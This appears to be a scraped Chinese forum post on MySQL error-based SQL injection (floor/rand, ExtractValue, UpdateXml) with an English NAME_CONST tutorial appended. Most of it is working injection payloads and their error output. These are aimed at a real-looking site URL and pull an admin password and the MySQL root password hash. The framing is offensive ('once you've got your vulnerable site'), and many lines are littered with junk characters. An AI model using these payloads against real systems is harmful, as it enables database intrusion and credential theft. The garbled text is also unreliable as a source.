mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
9 L$ q: x/ j& P' Z3 `& D; |首先进行正常查询：

mysql> select * from article where id = 1;
8 W- f* Z) A9 |3 b- P. r& v9 M$ z+—-+——-+———+
| id | title | content |
9 R/ c2 Y: f3 C+—-+——-+———+
! y8 R* Q9 e0 r1 t1 L) U% x  [2 {|  1 | test  | do it   |
* x9 [3 S) B; J5 I+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
8 E8 {9 h% |- \, aERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
% o% Y' p, ~& p- G9 DERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

; Y$ m. d+ C' H$ N4 n
2 p; Z) u8 w3 u

再收集：

% {. P& ^$ Q) K2 k( p( K0 y" k" vhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)
7 l4 ]! W8 {/ Y1 f& t+ E. ^/ c
+ V/ o5 j% C' T5 j7 \4 B2 _Erroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’
6 I( r5 j: H# k% m5 M2 G
# D4 q4 g8 A' C! ^1 O4 ^# g/ nhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)
# R1 O( X  q. Q' t! j& Q/ P
4 @  `3 A% r$ {+ o' }1 Z+ P6 i& WErroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′

MYSQL高版本报错注入技巧-利用NAME_CONST注入
It's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.
: g! s5 k8 g# ^

3 K% e4 U: ]- L2 _5 `相关信息
/ g8 h# ~; N2 t( @/ [: i% F. b" {2 e
NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.

Code:
  I# l% }  H% T( d, RNAME_CONST(DATA, VALUE)
) B$ X9 f: {; l
; y+ l+ L* o" D- ]  h: fReturns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.
$ {8 |- P1 ?" j" Q
% F: j4 P6 i% Z+ T2 H9 \SELECT NAME_CONST('TEST', 1)



9 n* r/ E: w/ o1 i0 f8 O/ X|---------------|
, C! I4 F+ |5 S3 h! S6 u|     TEST      |
|               |
6 N! V( A! |0 M( s2 H: u|---------------|
' {! W5 n/ c$ `" E2 `9 l|       1       |
2 A- \. ^8 K: N9 p  P. ]|               |
" X  }5 c+ H* E; ^* U# z3 ~6 l|---------------|


" l! Z) J7 C& _8 e$ b$ H" I

http://dev.mysql.com/doc/refman/5.0/en/m...name-const
Intro to MySQL Variables

Once you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.
/ P, P+ i' e1 f. a7 h# S3 }
: t' ~% J! {0 @; Z! ACode:
http://www.baido.hk/qcwh/content ... ;sid=19&cid=261

( p/ v. O- s' O3 Z/ s5 d8 n7 W0 \7 A( Y
0 k/ s2 H' A% N# w  g

' n0 i% `% P1 o4 y3 d9 P" z
Code:
  Y8 F& h' ^8 zand+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--

3 ^5 S) V$ G7 Y! {; s1 p8 j
VAR = Your MySQL variable.

MySQL 5.1.3 Server System Variables
' g; P: H8 l& t: b& |8 |
Let's try it out on my site..
+ y2 M- W+ N% E
Code:
& M! W+ G8 T) p0 ?! r  f# hhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--

Erroruplicate column name '5.0.27-community-nt'

# i5 e( ]3 W  }/ P1 m. p% L) O7 [) @



Now I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...

9 U% |3 p- w; w& P5 ~9 zData Extraction
% m5 _( D/ j2 V2 v' p1 C. _; V# c5 [
" }' ~, Z+ X. N9 OCode:
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--

$ E- @7 O2 Q( a4 o2 `) v
7 \) W/ k8 ^; E. bWe should get a duplicate column 1 error...
1 {" q5 @9 _$ r3 ?8 D' \. g/ n) A
* \& b! H# a( O' C; bCode:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--

* ^3 Q* ~; t4 @9 r5 C- a5 |, eErroruplicate column name '1




2 q/ c9 t  q  X. J& Y* m8 S1 @
3 N! q" Q3 h: \' S, ]$ n
Now let's get the tables out this bitch..
5 L( M( Y! I/ S
7 u8 T% @" q* R7 g" ECode:
+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
6 b1 k6 \0 R- u& d0 {

Let's see if it works here, if it does, we can go on and finish the job.

Code:
& a$ h+ x  F9 o* u' }! Rhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--


Erroruplicate column name 'com_admanage

1 l/ m( e( H' v& n9 u( T5 N


2 g2 a& `; j5 @
* m$ l1 I- g: x6 _. |# B
' g( Y, P5 g2 i0 wNow I'm going to be lazy and use mysql.user as an example, just for the sake of time.
1 Z* |, x# g5 Y: \. v
( F# ]1 R# A  R8 k2 U& e. n$ Z  e3 \Let's get the columns out of the user table..

) O4 J+ \& G( f& `Code:
! J  R7 s" I% U+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--
1 n0 |- F' o) ]

2 V6 h: C$ q8 @( u) ~4 ^5 f9 sSo mine looks like this, and I get the duplicate column name 'Host'.

Code:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--

Erroruplicate column name 'Host'


7 Y1 J6 }. M! l5 p
2 ~. v2 S1 v. U5 E) {7 ^. e  p) `

) r* \! V/ s% l8 [2 p
( q# O+ {  u! N9 u9 n8 I( B, q5 xWoot, time to finish this bitch off.
4 ?! I+ K+ Q+ w/ |, ^
Code:
( t8 X9 H) }% G/ T" t0 g+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--
% K% ^$ W. P) S+ g5 J- O
# O8 b) M8 t$ e$ I+ A4 ~& K6 I% M
So mine looks like this...
/ m7 S  ~; ^+ d7 e2 Q) m1 S6 k
Code:
1 D) I4 K* R0 D  Xhttp://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--
0 m" [9 _# S) N* i& L
) ?1 c1 ?. I+ M* Q* q0 bErroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'

1 @* B+ d* G( ^" ^
; {" L1 }" `: c& r, u



" S7 I; ^' O: eAnd there we have it, thanks for reading.

* ~1 P* c/ e$ Q